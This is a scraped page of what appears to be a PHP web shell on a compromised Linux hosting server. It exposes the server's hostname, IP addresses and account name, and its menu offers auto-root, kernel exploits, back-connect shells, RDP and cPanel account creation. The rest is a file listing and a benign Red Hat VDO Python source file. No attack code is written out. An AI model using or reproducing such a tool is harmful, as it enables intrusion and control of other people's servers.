Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.191.28.200
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
vdo /
statistics /
[ HOME SHELL ]
Name
Size
Permission
Action
Command.py
1.5
KB
-rw-r--r--
Command.pyc
1.41
KB
-rw-r--r--
Command.pyo
1.41
KB
-rw-r--r--
Field.py
6.96
KB
-rw-r--r--
Field.pyc
10.93
KB
-rw-r--r--
Field.pyo
10.93
KB
-rw-r--r--
KernelStatistics.py
6.1
KB
-rw-r--r--
KernelStatistics.pyc
5.88
KB
-rw-r--r--
KernelStatistics.pyo
5.88
KB
-rw-r--r--
LabeledValue.py
3.58
KB
-rw-r--r--
LabeledValue.pyc
4.97
KB
-rw-r--r--
LabeledValue.pyo
4.97
KB
-rw-r--r--
StatFormatter.py
8.32
KB
-rw-r--r--
StatFormatter.pyc
9.52
KB
-rw-r--r--
StatFormatter.pyo
9.52
KB
-rw-r--r--
StatStruct.py
10.06
KB
-rw-r--r--
StatStruct.pyc
11.35
KB
-rw-r--r--
StatStruct.pyo
11.35
KB
-rw-r--r--
VDOReleaseVersions.py
1.07
KB
-rw-r--r--
VDOReleaseVersions.pyc
1.29
KB
-rw-r--r--
VDOReleaseVersions.pyo
1.29
KB
-rw-r--r--
VDOStatistics.py
11.58
KB
-rw-r--r--
VDOStatistics.pyc
9.73
KB
-rw-r--r--
VDOStatistics.pyo
9.73
KB
-rw-r--r--
__init__.py
1.14
KB
-rw-r--r--
__init__.pyc
650
B
-rw-r--r--
__init__.pyo
650
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LabeledValue.py
# # Copyright (c) 2018 Red Hat, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # """ LabeledValue - A sampled statistic with a label. Used for formatting stats output. $Id: //eng/vdo-releases/magnesium/src/python/vdo/statistics/LabeledValue.py#1 $ """ class LabeledValue(object): """ An object which represents a labeled statistic value or a labeled collection of other LabeledValues. """ @staticmethod def make(label, value): """ Create a new labeled value. :param label: The label :param value: The value :return: The new labeled value. If the supplied value is a list, the returned object will be a LabeledValueList, otherwise it will be a LabeledValue. """ if isinstance(value, list): return LabeledValueList(label, value) return LabeledValue(label, value) def __init__(self, label, value): """ Create a new labeled value. :param label: The label :param value: The value """ self.label = label self.value = value def isMultiValued(self): """ Check whether this is a collection or a single value. :return: True if this is a collection of values """ return False def width(self): """ Get the width of the label for this value. :return: The width of the label """ return len(self.label) def subWidth(self, hierarchical): """ Get the maximum width of the labels of this value and/or all of its sub-values. :param hierarchical: Whether the format mode is hierarchical or not :return: The width of this value or its immediate sub-values if hierarchical, otherwise, the width of this value or its full tree of sub-values. """ return self.width() def hasSubValue(self, index): """ Check whether this value has a subvalue for the given index. :param index: The index into the subvalue list to check :return: True if the indexed subvalue exists """ return False def format(self, displaySpec=None, joiner=None): """ Format this value and any of its children. :param displaySpec: The display specification :param joiner: The string for joining subvalues """ return str(self.value) class LabeledValueList(LabeledValue): """ An object representing a labeled collection of labeled values. """ def subWidth(self, hierarchical): """ :inherit: """ if (hierarchical): return max(v.width() for v in self.value) return max(v.subWidth(False) for v in self.value) def isMultiValued(self): """ :inherit: """ return True def hasSubValue(self, index): """ :inherit: """ try: return (self.value[index].format() != '') except IndexError: return False def format(self, displaySpec, joiner): """ :inherit: """ return joiner.join(filter(None, [displaySpec.format(lv) for lv in self.value]))
Close